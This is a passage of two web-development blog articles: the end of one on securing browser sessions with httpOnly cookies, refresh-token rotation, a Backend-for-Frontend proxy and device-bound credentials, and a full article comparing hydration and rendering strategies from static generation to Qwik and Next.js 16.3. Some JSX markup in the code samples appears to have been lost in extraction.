refreshAccessToken() { // If a refresh is already in flight, everyone waits on that same one. if (!refreshing) { refreshing = fetch('/api/refresh', { credentials: 'include' }) .then((res) => { // Refresh itself can fail: the refresh token expired, or the rotation // detected reuse and burned the chain. Either way, the session is over. if (!res.ok) throw new Error('refresh failed'); return res.json(); }) .then((data) => { accessToken = data.token; return data. token; }) .finally(() => { refreshing = null; // clear it so the next expiry can refresh again }); } return refreshing; } async function api(path: string, options: RequestInit = {}) { const send = (token: string | null) => fetch(path, { ...options, headers: { ...options.headers, Authorization: `Bearer ${token}` }, }); let res = await send(accessToken); if (res.status === 401) { try { const fresh = await refreshAccessToken(); // five callers, one refresh res = await send(fresh); } catch { // Refresh failed. Send them to log in, and don't let callers process the // 401 in the meantime: return a promise that never resolves while the // browser navigates away. accessToken = null; window.location.href = '/login'; return new Promise(() => {}); } } return res; } ``` Five 401s now share one refresh and one rotation, with no false alarms. ## Can we make it more secure? The IETF's OAuth working group maintains a document, "OAuth 2.0 for Browser-Based Applications," that ranks the possible architectures from most to least secure. At the top sits this pattern: The browser should hold **no** OAuth tokens. Not in memory, nor in a cookie. The pattern is Backend for Frontend, BFF. You put a thin server between your SPA and everything else, and that server does all the token handling on the frontend's behalf. Your SPA holds exactly one thing: a boring httpOnly session cookie pointing at the BFF. It never sees a token in its life. Let's see how it works. Your dashboard needs the user's orders, so it calls `/api/orders` on the BFF, and the browser automatically attaches the session cookie, as it does with everything. That cookie is not a token. It's a coat-check ticket, a random string that means nothing to anyone who steals it. The BFF catches that request and does the one job it exists for. It reads the session ID off the cookie, looks it up in its own store, and finds the real access token sitting there, the token that never left the server. It attaches that token as a bearer header, forwards the request to the actual API, waits for the orders to come back, and pipes them down to your browser. Your frontend got its orders. From the browser's side, it asked a friendly server for data and got data, and every credential that made that happen stayed on the far side of a wall JavaScript can't reach. The whole proxy is about fifteen lines: ```ts // The BFF. The browser only ever talks to this, never to the real API. app.all('/api/*splat', async (req, res) => { // 1. The browser sent a session cookie, not a token. const sessionId = req.cookies['__Host-session']; const session = sessionId ? await sessions.get(sessionId) : null; if (!session) return res.status(401).json({ error: 'not logged in' }); // 2. Swap the cookie for the real access token, which never left this server. let accessToken = session.accessToken; // 3. If it has expired, refresh the server-to-server connection before forwarding. If the refresh // itself fails (token expired or revoked at the provider), the session is // over: kill it and make the browser log in again. if (Date.now() >= session.expiresAt) { try { const refreshed = await refreshWithProvider(session.refreshToken); accessToken = refreshed.accessToken; await sessions.update(sessionId, refreshed); // rotate + store the new pair } catch { await sessions.delete(sessionId); return res.status(401).json({ error: 'session expired' }); } } // 4. Forward the real API request with the bearer token that the browser never sees. // originalUrl keeps the query string; req.path would drop ?page=2. const upstream = await fetch(`https://api.example.com${req.originalUrl.replace('/api', '')}`, { method: req.method, headers: { Authorization: `Bearer ${accessToken}`, 'Content-Type': req.get('Content-Type') ?? 'application/json', }, body: ['GET', 'HEAD'].includes(req.method) ? undefined : JSON.stringify(req.body), }); // Pass the status through. A 204 or other empty body has nothing to parse, // so guard the json() call or it throws. res.status(upstream.status); const text = await upstream.text(); return text ? res.type('json').send(text) : res.end(); }); ``` The token lives in `session.accessToken`, which is a server-side value in your session store. It is never in the response to the browser, never in a cookie the browser can read, never in a variable any client script can reach. After the OAuth provider redirects back with a code, the BFF (a confidential client, so it holds a real secret) exchanges that code for tokens and stores them against a fresh session, handing the browser nothing but a cookie: ```ts // The OAuth callback. Runs once, at login. app.get('/auth/callback', async (req, res) => { //Replace the code with tokens. This call carries the client secret, // which is why it has to happen on a server and not in the browser. const tokens = await exchangeCodeForTokens(req.query.code, CLIENT_SECRET); // Store the tokens server-side, keyed by a new random session ID. const sessionId = crypto.randomBytes(32).toString('hex'); await sessions.create(sessionId, { userId: tokens.userId, accessToken: tokens.access_token, refreshToken: tokens.refresh_token, expiresAt: Date.now() + tokens.expires_in * 1000, }); // The browser leaves with a cookie and nothing else. res.cookie('__Host-session', sessionId, { httpOnly: true, secure: true, sameSite: 'lax', path: '/', }); res.redirect('/'); }); ``` When the access token expires, the refresh in step 3 runs server-to-server, with rotation and reuse detection, and your frontend never knows it happened. The OAuth login itself even gets stronger. OAuth splits apps into two categories: those that can safely hold a secret key and those that can't. A browser can't; anything you ship to it, users can read, so an SPA is a "public client" and has to use weaker flows. A server can keep a secret, so the BFF is a "confidential client" and gets the stronger flow. Moving OAuth handling to the BFF upgrades your app from the weak to the strong category. This is the strongly recommended architecture for business applications, sensitive applications, and any application that touches personal data. Remember that if you use a BFF, you still have the CSRF problem from before, and make sure you guard against it with the three guardrails. The cost for this security is *latency* and extra infrastructure costs. You run a server now. Every API call takes two hops. The BFF scales with your traffic. ## The NEW threat Everything above is about a browser being tricked, an attacker's script running in your page, and either stealing a credential or riding a session. And every fix, memory, httpOnly, BFF, is aimed at that. There's a second threat that walks straight past all of it, and in 2026, it's the one actually emptying accounts: infostealer malware. This is a program running on the user's own computer, entirely outside the browser's rules. It doesn't need XSS. It doesn't care about `HttpOnly`. It reads Chrome's cookie database off the disk, decrypts it, and copies your session cookie wholesale. `HttpOnly` only blocks *JavaScript* from reading the cookie. It does nothing to prevent a native process from reading the file. The attacker imports your cookie into their own browser, giving them access to your live session. This is a "pass-the-cookie" attack, and infostealer logs full of live session cookies are a booming market: one 2026 report counted 51.7 million infostealer log packages in 2025, up 72% year over year. Here's the uncomfortable part: a perfectly implemented BFF, httpOnly, SameSite, rotation, the whole stack, does not stop this. The stolen cookie is a valid bearer credential, and your server has no way to tell the attacker's browser from the user's. But there is a solution: **binding the session to the device.** Google shipped Device Bound Session Credentials (DBSC) to general availability in Chrome 146 on Windows in April 2026. At login, the browser generates a private key in a dedicated security chip on the machine (a TPM, the same hardware that backs Windows Hello and disk encryption), and that key cannot be physically copied out of the chip. The session cookie is short-lived, and to refresh it, the browser has to sign a challenge from the server using that sealed key, roughly every few minutes. Now the stolen cookie rots almost immediately. Within minutes, it expires, and the attacker can't refresh it, because refreshing demands a signature from a key sealed in hardware they don't have. The cookie they copied becomes a useless string. It's Chrome on Windows first, with macOS via the Secure Enclave rolling out behind it, and other browsers still deciding. It needs server-side support to actually work. And if the malware is already on the machine *at login time*, it may be able to interfere with registration. If you are building anything very, very sensitive, start reading the DBSC docs now. ## The end TLDR: **put the session in an httpOnly, server-backed cookie, and the moment third-party tokens enter the picture, move those tokens behind a BFF so the browser never holds them.** You're welcome. ## References - [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) - IETF draft ranking BFF, token-mediating backend, and browser-only patterns in decreasing order of security - [RFC 9700: Best Current Practice for OAuth 2.0 Security](https://www.rfc-editor.org/rfc/rfc9700) - the January 2025 security BCP, including refresh-token rotation and PKCE requirements - [RFC 6749: The OAuth 2.0 Authorization Framework](https://www.rfc-editor.org/rfc/rfc6749) - the original spec, and where the public vs confidential client split is defined - [The Backend for Frontend Pattern](https://auth0.com/blog/the-backend-for-frontend-pattern-bff/) - Auth0, on the BFF as a confidential client and the cookie caveats - [BFF Security Framework](https://docs.duendesoftware.com/bff/) - Duende, on why in-browser token storage is no longer recommended and the custom-header CSRF trick - [The Token Handler Pattern](https://curity.io/resources/learn/the-token-handler-pattern/) - Curity, on first-party cookies and same-site BFF hosting - [Refresh Token Rotation](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation) - Auth0 docs on rotation and automatic reuse detection - [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession (DPoP)](https://www.rfc-editor.org/rfc/rfc9449.html) - sender-constrained tokens bound to a non-extractable browser key, for the no-server case - [Device Bound Session Credentials](https://developer.chrome.com/docs/web-platform/device-bound-session-credentials) - Chrome's DBSC integration guide, the defense against pass-the-cookie - [Please Don't Use JSON Web Tokens for Browser Sessions](https://ianlondon.github.io/posts/dont-use-jwts-for-sessions/) - Ian London, on revocation and the stateless myth - [Stop using JWTs](https://gist.github.com/samsch/0d1f3d3b4745d778f78b230cf6061452) - samsch, the long-running case for sessions over JWTs - [Cross-Site Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) - OWASP, on why the token is primary, and SameSite is defense in depth - [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) - OWASP, on session ID handling, cookie prefixes, and fixation - [Testing for Cookie Attributes](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) - OWASP WSTG, on the `__Host-` prefix as the most secure cookie configuration - [MDN: Using HTTP cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies) - the HttpOnly, Secure, and SameSite attributes - [MDN: Sec-Fetch-Site](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Sec-Fetch-Site) - the fetch-metadata header servers can check for CSRF defense - [MDN: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) - the nonce-based script allowlist that reduces how often XSS runs at all - [MDN: BroadcastChannel](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) - the same-origin cross-tab messaging API used to coordinate refresh --- ## Different hydration and rendering strategies URL: https://neciudan.dev/hydration-and-rendering-strategies Published: 2026-06-28 Dont worry, this article is not about the controversial Hydration breaks they are having during the World Cup matches. We want to discuss the hydration process in Server-Side Rendered applications, how other frameworks handle it, and similar rendering strategies that we apply to make our apps faster. First, open a server-rendered page on a slow phone. The content paints almost instantly and looks finished. But tapping a button does nothing for 1 or 2 seconds. During that time, the page quietly downloads and runs JavaScript to rebuild everything you're already looking at. That gap between a page that "looks ready" (HTML is shown) and one that "actually works" (interactive via JavaScript) is called hydration. Every recent rendering strategy aims to shrink that gap. ## Static generation Before reducing hydration, let's look at the alternatives. For many websites, the best approach is to render HTML once, ahead of time, rather than on every request. If the page is the same for everyone—a blog post, a docs page, a marketing landing page, you are regenerating identical HTML thousands of times. Static Site Generation (SSG) renders each page once at build time, writes the result to an HTML file, and serves that file from a CDN. The server does nothing per request except hand over a file. ```tsx // Next.js: this runs at BUILD time, not on each request. export async function getStaticProps() { const posts = await loadPostsFromCMS(); return { props: { posts } }; } ``` The obvious limit is freshness. If the HTML was built an hour ago, it's an hour stale. For a blog that's fine; for a product page with live pricing, it isn't. And the build itself becomes the bottleneck at scale: fifty blog posts can be built in seconds, but a hundred thousand product pages can take hours, and every content change means a rebuild. That freshness problem is what Incremental Static Regeneration (ISR) solves. You serve the static page as before, but you tell the framework to regenerate it in the background after a set interval, or on demand when the content actually changes. ```tsx export async function getStaticProps() { const posts = await loadPostsFromCMS(); // Serve the cached page, rebuild it at most once every 60s. return { props: { posts }, revalidate: 60 }; } ``` The first visitor after the interval triggers a quiet rebuild; everyone keeps seeing the last good version until the new one is ready. You get static delivery speed with content that's never more than a minute or two stale. One more variation you'll see is edge rendering. This isn't a different hydration model; it's SSR or ISR physically moved closer to the user, running on CDN edge servers scattered around the world rather than a single origin server. You do this to reduce latency: your dynamic HTML is generated a few milliseconds from the visitor rather than a continent away, with the trade-off that edge runtimes are more constrained in what they can do (limited Node APIs, tighter time and memory budgets). This method is perfect for static content, but what if our content is dynamic? ## Client-side rendering The simplest approach is to avoid rendering initial HTML on the server. The server sends an almost empty HTML shell. This is just the basic structure of an HTML page, with a reserved section for your app, such as a '
' element, and a script tag that points to your JavaScript code. The browser then downloads the bundle, which combines all your app's code into a single file, runs your app, fetches any required data, and builds the entire user interface (UI) in the browser. There's no hydration here because there's nothing to hydrate: the DOM (Document Object Model—the browser's representation of a web page's structure and content) was never server-rendered; it was constructed on the client from nothing. React just builds and attaches in one pass. ```tsx import { createRoot } from 'react-dom/client'; import App from './App'; createRoot(document.getElementById('root')).render(); ``` We call these apps Single Page Applications or SPA for short. The main benefit of these apps is simplicity. You only think about the browser. The downside is speed. Picture a first-time visitor on a mid-range Android phone, using hotel Wi-Fi to tap your link. **They get a blank white screen**. That screen stays while the bundle downloads, then parses, and then executes. Next, it waits as it fetches the page's data. Only after all that does anything work. On your laptop with strong WIFI, you might not notice. On that phone, it's long enough for some visitors to close the tab before your app draws a single pixel. Search engines hit the same wall. The Google bot crawler, requests your page and receives an empty
, which may also have significant SEO implications. That's why you want content in the initial HTML, and for that, we need the server. ## Server-side rendering We render HTML on the server, send it to the browser, and have the browser hydrate it into a React app. The user gets real content instantly, solving both CSR issues. The page isn't blank while JavaScript loads, and the crawler sees content. ```tsx import { renderToString } from 'react-dom/server'; import App from './App'; const html = renderToString(); // send `html` wrapped in your document shell ``` On the client: ```tsx import { hydrateRoot } from 'react-dom/client'; hydrateRoot(document.getElementById('root'), ); ``` This is ideal for content that must rank and be interactive, such as news sites, blogs, marketing pages with signup forms, or product pages that need strong SEO content. The downside: we repeat work. The server renders HTML; the client downloads React, rerenders, and compares the new HTML to the existing HTML. Until this second pass finishes, nothing on the page is interactive. Traditional hydration runs top to bottom through the tree. If a heavy Comments section is near the top and the LikeButton below, hydration does comments first. The like button stays dead until hydration is done. There is also a big problem: hydration mismatches. If server HTML and client HTML differ in any way, React detects it. In the worst case, it discards server HTML and re-renders on the client, recreating the blank-screen problem that SSR tries to solve, rendering all the benefits of SSR useless. Common causes are unassuming code: ```tsx // Renders a different value on the server than in the browser: {new Date().toLocaleTimeString()} // Reads a browser-only API that doesn't exist on the server:
{window.innerWidth > 768 ? 'desktop' : 'mobile'}
``` Both look harmless but produce different server and client outputs, triggering hydration warnings. If the difference is intentional, like a timestamp, React offers an escape: add suppressHydrationWarning, and React won't warn for that node. ## Streaming SSR: send the page in pieces The first improvement keeps hydration but stops making the user wait for the slowest part of the page before anything shows up. Instead of rendering the whole tree to a string and sending it once it's complete, the server streams HTML in chunks as each part becomes ready. The tool for this is `Suspense`, a wrapper you put around a slow section that tells React, "show this fallback until everything inside is ready." ```tsx import { Suspense } from 'react'; function ProductPage() { return (
}>
); } ``` The `ProductDetails` component renders immediately. The `Reviews` component, which might be waiting on a slow query, shows a skeleton, and the real reviews stream in when the data is ready. The user reads the product while the reviews are still loading. React no longer has to hydrate top-to-bottom. Each `Suspense` boundary becomes an independent unit that can hydrate on its own, and React prioritizes based on the user's current activity. Click a button in a section that hasn't hydrated yet, and React rushes hydration of that boundary so the handler can run, ahead of the boundaries you're not touching. The main benefit of this method is that perceived load time no longer ties to your slowest component. Go back to that product page. Without streaming, a three-second recommendations query means three seconds before anyone sees the product. But it's not perfect: Streaming changes the order and timing of the work, not the amount. Every interactive component on that page still gets downloaded and re-executed on the client; you've made the page feel faster without shipping a single byte less JavaScript. It also hands you a new way to make things worse if you wrap too much of the page in one `Suspense`, and a single slow child holds that whole region back: ```tsx // One boundary around everything: the fast summary now waits // on the slow chart, because they share a fallback. }> {/* fast */} {/* slow */} // Separate boundaries: the summary streams in immediately, //The chart arrives on its own schedule. }> ``` There's also another method you'll see in several frameworks: progressive hydration. Rather than hydrate every boundary as soon as its code arrives, you defer a component until there's a reason to wake it up, when it scrolls into view, or when the user first interacts with it. A footer newsletter form three screens down doesn't need to hydrate during initial load; it can wait until you scroll near it. This still hydrates everything eventually, like streaming, but it spreads the work across time and skips parts the user never reaches. ## Islands: hydrate only the interactive parts Most of a typical web page isn't interactive at all. A blog post is text, headings, and images, with maybe a comment widget and a newsletter form. A docs page is almost entirely static with a search box. Why ship and hydrate a JavaScript runtime for the 95% that's just sitting there as content? Islands do this in reverse to SSR: The page is static HTML, and you explicitly mark the parts that need to come alive. Each interactive region is an "island" in a sea of static markup, and each hydrates independently, loading only its own JavaScript. Astro is the framework that popularized this, and it makes the model concrete with directives. By default, a component renders to static HTML and ships zero JavaScript. You opt into interactivity per-component: ```astro --- import Header from '../components/Header.astro'; import Newsletter from '../components/Newsletter.tsx'; import Comments from '../components/Comments.tsx'; ---

My post

This is just text. It ships as HTML, no JavaScript.

``` That `client:visible` is a loading contract, and it's the progressive hydration idea from earlier. It tells Astro to render the component to static HTML first, then hydrate it only when it scrolls into view. The directives cover the common cases: `client:load` hydrates immediately for above-the-fold interactivity, `client:idle` waits until the browser is idle, `client:visible` waits until the component enters the viewport, and `client:only` skips server rendering entirely for components that depend on browser-only APIs. Islands take progressive hydration and add the crucial second half: the parts you never mark stay static forever and ship no JavaScript at all. If the user never scrolls to the comments, the comment widget's JavaScript never loads. This fits content-heavy sites almost perfectly. Blogs, documentation, marketing pages, news, and e-commerce category pages. Anywhere the page is mostly content with islands of interactivity rather than the other way around. The framework built around this, Astro, ranked highest in the meta-framework satisfaction category of the State of JS 2025 survey, and Cloudflare acquired it in January 2026. (And if you haven't read my previous articles, this blog is also using Astro, [checkout my previous article where I upgraded to Astro 6](https://neciudan.dev/astro-upgrade-from-3-to-6) and took advantage of all the cool benefits) The practical result is that you land a Lighthouse score in the 90s without doing anything clever, because there's barely any main-thread work for the browser to do. And since each island is self-contained, you're not even locked to one framework; you can drop a React island next to a Svelte one on the same page. There's a server-side version of the same idea. Astro's `server:defer` turns a component into a server island: the static shell ships immediately and is aggressively cached, while a personalized piece, such as a signed-in user's avatar or cart, renders per-request on the server and slots in without holding up the rest of the page. You get to cache the 95%, that's the same for everyone, and still serve the 5% that isn't. But islands assume a mostly static page with sprinkles of interactivity, and they're wonderful until that assumption breaks. Imagine trying to build Figma, or a trading terminal, or any app where nearly everything on screen is interactive, and pieces share state across the whole layout. You'd be marking the entire page as one giant island, threading shared state between islands that were designed to be isolated, and fighting the architecture the whole way. At that point, you've reinvented SSR with extra steps. So islands win when interactivity is the exception. For an app where interactivity is the rule, you need a different weapon. ## React Server Components: don't send the component to the client A Server Component runs only on the server, which means its code is never sent to the browser. It can hit the database directly, read the filesystem, use secrets, and what it ships to the client isn't JavaScript; it's a serialized description of the UI it produced, in a format React calls Flight. There are now two streams in play: the HTML stream from the streaming section, which is the markup the browser paints, and this Flight stream, which is a serialized component tree the client reconstructs. RSC uses both. There's nothing to hydrate for the server parts because there's no component code on the client to re-execute. Components are server-only and weightless on the client. Components marked `"use client"` ship JavaScript and hydrate. ```tsx // Server Component, runs on the server, ships no JS async function ProductPage({ id }) { const product = await db.product.findUnique({ where: { id } }); return (

{product.name}

{product.description}

); } ``` ```tsx 'use client'; // Client Component, this is the part that ships JS and hydrates function AddToCartButton({ productId }) { const [adding, setAdding] = useState(false); // ... } ``` The product name and description are server-rendered and never become JavaScript on the client. Only `AddToCartButton` is visible in the browser. This is the model Next.js is built around now, and it supports full applications that also include a lot of server-generated, non-interactive content. The main benefit is that you stop shipping code that the browser will never use. In that example, your database call and the markup it produces stay on the server; the only JavaScript that reaches the user is `AddToCartButton`. You also get to query the database right inside the component, no `/api/products/:id` route to build, no `fetch` to wire up, no loading state to manage by hand. Layer streaming and selective hydration on top, which RSC does for free, and you get a fast first paint, a small bundle, and direct data access in one model. React 19.2 sharpened the tools in this area. Partial Pre-Rendering lets you render a static shell at build time, cache it at the CDN edge, and stream the dynamic holes per-request, so a single page can be mostly statically cached with a personalized slot or two. Suspense reveals are batched to match client behavior, and hydration mismatch errors finally name the component that caused them instead of leaving you a cryptic warning. Although the line between server and client isn't free, and one `"use client"` in the wrong place quietly drags a whole subtree into the browser bundle. Like this: ```tsx 'use client'; import { HeavyChart } from './HeavyChart'; // also becomes client code ``` You added `"use client"` for a single button, and because a client file pulls its imports into the client graph with it, a heavy chart you meant to keep on the server is now in your bundle. "use client creep" is a real failure mode in production codebases. On top of that, RSC ties you to a framework and a server runtime that uses them; it isn't something you sprinkle onto a plain SPA you already have. Also, moving rendering to the server increases your attack surface there, too. Server Components execute on the server, serialize a payload, and the client deserializes it; each of those steps now runs in a privileged place with access to your database and secrets. And in late 2025, a serious RSC deserialization vulnerability (CVE-2025-55182) was found being actively exploited and had to be patched across several React and Next.js versions. Doing this on the server could have a lot of security holes you need to keep an eye on. ## TanStack Start: the same primitive, ownership flipped The Next.js model is server-first. TanStack Start inverts that. The client stays in charge, and RSCs are demoted from a paradigm to a data type. The idea is that an RSC payload is just a stream. Specifically, a React Flight stream is the serialized description of UI that the server produced. TanStack Start treats it as exactly that: bytes you fetch over HTTP, on the client's terms, whenever you want them, rather than a server-owned tree the framework hands you by default. You create the server-rendered UI in a server function and load it via a route loader. Nothing gets marked `"use client"` to opt *out* of the server; you opt *in* to the server only where you want it. ```tsx import { createServerFn } from '@tanstack/react-start'; import { renderServerComponent } from '@tanstack/react-start/rsc'; function Greeting() { return

Hello from the server

; } const getGreeting = createServerFn().handler(async () => { return { Greeting: await renderServerComponent() }; }); ``` Because the payload is just data, it drops into the caching tools you already use. There's no special "RSC mode." Wrap the server function in a TanStack Query call, and the RSC payload gets cache keys, `staleTime`, and background refetching like any other query. For static content, set `staleTime: Infinity` and you're done. ```tsx function Greeting() { const query = useQuery({ queryKey: ['greeting'], queryFn: async () => createFromReadableStream(await getGreeting()), }); return <>{query.data}; } ``` It's a different answer to the exact same question RSC asks: how do you avoid shipping component code that didn't need the browser? Next.js answers at the framework level, server-first, all-in. TanStack Start answers at the data level, is client-first, and is opt-in. This fits a situation the server-first model handles badly: an existing client-side app, an admin portal or a SaaS dashboard, that wants to move *some* heavy rendering to the server without rewriting its architecture around a new paradigm. Markdown parsing, syntax highlighting, a search index, anything heavy and static you'd rather not ship. You sprinkle in RSCs where they pay off and leave the rest of the SPA alone. When TanStack migrated the content-heavy parts of their own docs site to this, blog, and docs pages, each dropped around 153 KB gzipped from the client JS graph, and Total Blocking Time fell from about 1,200ms to 260ms. You don't have to rewrite your app to try RSCs, but you have to do a lot of the wiring up yourself. The server-first model's all-in nature is also what makes streaming, boundaries, and colocated server work feel built in; when you opt into each piece by hand, you own the composition that Next.js provides out of the box. And TanStack Start is younger, with its RSC support still stabilizing toward 1.0, so for a large production app, you're taking on a less settled bet than Next.js in exchange for that flexibility. RSC shrinks the hydration surface to the interactive leaves, no matter how you slice ownership. But those leaves still hydrate. They still download, re-execute, and rebuild their slice of the tree on the client. The remaining question is whether even that is necessary, and there are two different answers. ## Fine-grained reactivity: hydrate once, then never re-render React is coarse-grained. When the state changes, the component that owns it reruns, and React walks down from there, diffing the virtual DOM to figure out what actually changed in the real one. Hydration is expensive partly because it's this same re-render machinery running for the first time across the whole tree. SolidJS and Svelte do things differently. There's no virtual DOM and no re-rendering. A component runs once to set up a reactive graph, wiring each piece of state directly to the specific DOM node it controls. When a state changes, the framework updates that one text node or attribute. ```tsx import { createSignal } from 'solid-js'; function Counter() { const [count, setCount] = createSignal(0); // This function body runs ONCE. The signal is wired. // straight to the text node below. return ; } ``` That `Counter` function executes only once, during setup. Clicking the button updates the count signal, which updates exactly one text node. The component never runs again. Because there's no re-render machinery, hydration is dramatically cheaper. Solid still incurs a setup cost to wire the reactive graph to the server-rendered DOM, but it's not re-executing and diffing the whole component tree, so the work is a fraction of what React does during hydration. Svelte 5 sits in the same territory: its runes system (`$state`, `$derived`) moved Svelte to a signal-based, fine-grained reactivity model, close to Solid's, and State of JS 2025 credited exactly that change as the year's standout in developer experience. The newest face in this family is Ripple, an experiment from Dominic Gannaway (who worked on React Hooks at Meta and was on Svelte 5's core team). It's a TypeScript-first compiled language with the same no-virtual-DOM, surgical-update model, reactivity built on a `track()` primitive. These frameworks fit performance-critical interactive UIs where things update constantly. Real-time dashboards with hundreds of live data points, trading interfaces, data grids, and animation-heavy apps targeting a steady 60fps. Anywhere React's re-render-and-diff cost compounds across every update on a busy screen. Of course, React's download numbers dwarf all of these new frameworks, and that gap is libraries, AI advice and help, and the odds that your next hire already knows the framework. The meta-frameworks are less settled, too: SvelteKit is solidly production-ready, while SolidStart hit 1.0 but is still filling in deployment adapters and documented patterns, so you'll more often be the first person to hit a given edge case. And the mental model differs from React: ```tsx // React: this function re-runs on every render, so it's expensive` // is recomputed each time. function Row({ value }) { const expensive = computeStuff(value); return {expensive}; } // Solid: this function runs ONCE. If you write it the React way, // `expensive` is computed a single time and then never updates // when `value` changes. You have to reach for a derived signal instead. ``` The code looks like React. It does not behave like React. Fine-grained reactivity makes hydration cheap. But it still hydrates; there's still a setup pass that runs on the client to connect the graph to the DOM before anything is interactive. The last strategy asks whether you can skip even that. ## Resumability: don't hydrate at all The final move is the strange one, and it needed a new word because it isn't a faster hydration. It's the absence of hydration. Every strategy so far, even the leanest island, shares one assumption: the client has to execute *some* JavaScript to make the server-rendered HTML interactive. Re-run the components, or at least run a setup pass to wire up the reactive graph. Qwik's argument is that throwing the work away is the actual mistake. Instead of serializing only the HTML and reconstructing everything else on the client, serialize the entire framework's execution state, component boundaries, event listener locations, and the reactivity graph directly into the HTML. The client doesn't rebuild anything. It picks up exactly where the server paused. The mechanism is visible in the markup. Event handlers aren't attached during a startup pass; their locations are serialized as attributes pointing at lazy-loadable chunks: ```html ``` The only thing that runs on boot is a tiny script called the Qwikloader, a fraction of a kilobyte, which registers one global event listener and does nothing else until you interact. When the user clicks that button, and only then, the Qwikloader resolves the attribute, downloads the specific handler chunk, rehydrates just the state that handler needs, and runs it. The code for a given interaction loads when the interaction occurs, not before. But serializing execution state into the HTML imposes limits on what can be serialized, and those limits constrain how you can write components; you can't just stuff anything into a closure and expect it to resume. Loading code per interaction also means more small requests rather than one big upfront bundle, which speculative prefetching and HTTP/2 are designed to hide, but it's a different performance profile you'll need to reason about and tune rather than ignore. And Qwik is the one framework built entirely around this idea, making it the newest and least battle-tested option in this article, with the smallest ecosystem to lean on. There's also a case where the payoff simply isn't there. If you're building a video editor or a live dashboard, the user interacts with almost everything almost immediately, so you end up loading most of the code in the first few seconds anyway. Resumability's advantage is deferring code the user might never reach; when they reach all of it, you've taken on the complexity and gotten little of the benefit. ## Next.js 16.3: closing the last gap with instant navigations Everything so far has been about the first load: how fast the page paints, how much it costs to make it interactive. But there's a second moment that decides whether an app feels like an app, and it's the one server-driven models have always been worst at: what happens when you click a link to the next page. In a classic server-driven app, that click means a network round-trip. You click, nothing happens, the server responds, and the next page appears. For a blog that's acceptable. For anything that feels like software, that pause is exactly what makes people say server apps feel "like a website" rather than an app. A client-driven SPA hides the pause: you click, you instantly see a shell of the next page with data still loading, then the rest fills in. That instant shell is most of why people reach for SPAs even when the server model would serve them better everywhere else. Next.js 16.3 aims to give the server model the same instant-shell feel, and the way it gets there ties together two things already in this article: Partial Pre-Rendering and the Flight payload that RSC streams to the client. The whole feature is currently gated behind one flag: ```ts // next.config.ts const nextConfig = { cacheComponents: true, }; ``` Turning on Cache Components changes the rendering model. Every route is dynamic by default, with no implicit caching, and PPR becomes the default rather than an experimental per-route opt-in. From there, whenever a route `awaits ' data on the server, you're making one of three choices about that piece of the page. You can stream it by wrapping the slow part in ``, and the user instantly sees the static shell with a loading state where that part will go. You can cache it by marking the work with `use cache`, and the user instantly sees a previously cached version of that UI, reused across requests. ```tsx async function ProductList() { 'use cache'; cacheLife('hours'); const products = await getProducts(); return ; } ``` Either of those makes the navigation feel instant, because nothing the user is waiting on blocks the shell. The third choice is to block on purpose. Some routes shouldn't show a loading shell, a blog post that should arrive whole rather than skeleton-first, and you opt that route out explicitly: ```tsx // page.tsx export const instant = false; ``` Next.js 16.3 also brings a new trick: rather than prefetching a page per link, it prefetches one reusable shell per route and caches it on the client for the session. Twenty links to `/chat/[id]` now prefetch a single `/chat/[id]` shell, the same way a SPA ships one piece of per-route code and reuses it for every item. You can enable it alongside Cache Components: ```ts // next.config.ts const nextConfig = { cacheComponents: true, partialPrefetching: true, }; ``` That shell is the static, cacheable part of the route, the part PPR already knows how to pre-render. So the two flags are really one idea seen from two ends: PPR decides what part of a route is a static shell, and Partial Prefetching ships exactly that shell to the client ahead of the click. Because the shell serves as the baseline, prefetching is no longer an all-or-nothing proposition. If you want a particular link to arrive with more than the bare shell, a chat header that should pop in immediately, you opt that link into deeper prefetching, and Next.js renders down to whatever is synchronous or marked `'use cache'`: ```tsx {title} ``` This fits exactly the kind of app the server model used to feel wrong for: dashboards, chat apps, anything with a dense sidebar of links where every click used to mean a visible pause. Vercel has been running it on v0, where rich client features made navigation feel sluggish, and used the new dev-time insights to hunt down the routes that weren't navigating instantly. You get the SPA's instant-click feel without giving up the server-centric model, the small client bundle, the direct data access, the crawlable first load, all the things the RSC section was about. The problem is that "instant" stops being free and becomes something you maintain. Every dynamic piece of every route is now a Stream/Cache/Block decision you have to make and keep correct as the app changes; a refactor that moves a `cookies()` read out of its `` boundary quietly turns an instant route into a blocking one. Next.js leans on tooling to hold the line here, the dev-time error, a Navigation Inspector that pauses navigations at the shell so you can see what's prefetched, and an `instant()` Playwright helper that asserts what must be visible before the network responds: ```ts import { instant } from '@next/playwright'; test('next page shell is instant', async ({ page }) => { await page.goto('/products/shoes'); await instant(page, async () => { await page.click('a[href="/products/hats"]'); await expect(page.locator('h1')).toContainText('Baseball Cap'); }); }); ``` It's also preview-only and flag-gated as of mid-2026, with both `cacheComponents` and `partialPrefetching` planned to become defaults in a future major version. ## How to actually choose The only thing that matters is how much client-side work happens between "HTML painted" and "page interactive." For most people most of the time, the honest answer is boring. If you're building a content site, reach for static generation and islands; Astro will give you near-perfect performance with almost no effort. If you're building an app, React with Server Components on a framework like Next.js will carry you a very long way, and the streaming and selective-hydration machinery comes along for free. The rest are tools you reach for when a specific problem actually calls for them. Fine-grained reactivity when updating performance on a busy screen is the cause of the issue. Resumability when you're large enough that hydration costs have become the bottleneck, and the first interaction must be instant. CSR when the page is behind a login, and nobody's first paint matters. Nobody's site ever got slow because they server-rendered some HTML and hydrated it. It's always the other direction: a content blog shipping a full app runtime, an app fighting hydration cost it never measured, a marketing page blank for two seconds while a bundle loads. Match the strategy to how much of your page is actually interactive, and reach for something more exotic only when you can name the problem it solves. ## References - [Resumable vs. Hydration](https://qwik.dev/docs/concepts/resumable/) - Qwik docs, on serializing execution state instead of 